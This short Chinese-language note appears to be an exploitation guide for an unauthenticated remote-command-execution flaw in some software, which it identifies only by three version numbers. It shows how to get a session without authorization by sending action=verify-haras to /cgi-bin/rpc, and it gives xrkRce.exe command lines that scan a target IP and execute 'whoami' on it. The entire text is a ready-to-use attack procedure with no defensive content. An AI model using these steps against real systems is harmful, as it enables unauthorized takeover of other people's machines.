· 11.1.1

· 10.3.0.27372

· 11.0.0.33162

1、 访问扫描开放的端口

2、 需要获取到session，测试目标是否存在/cgi-bin/rpc界面

3、 在/cgi-bin/rpc 中，传入action=verify-haras参数即可在未授权的情况下拿到有效session

4、 使用获取到的session执行系统命令

1、 运行命令得到漏洞端口：xrkRce.exe -h 192.168.16.128 -t scan

2、 执行系统命令：xrkRce.exe -h 192.168.16.128 -t rce -p 49156 -c "whoami"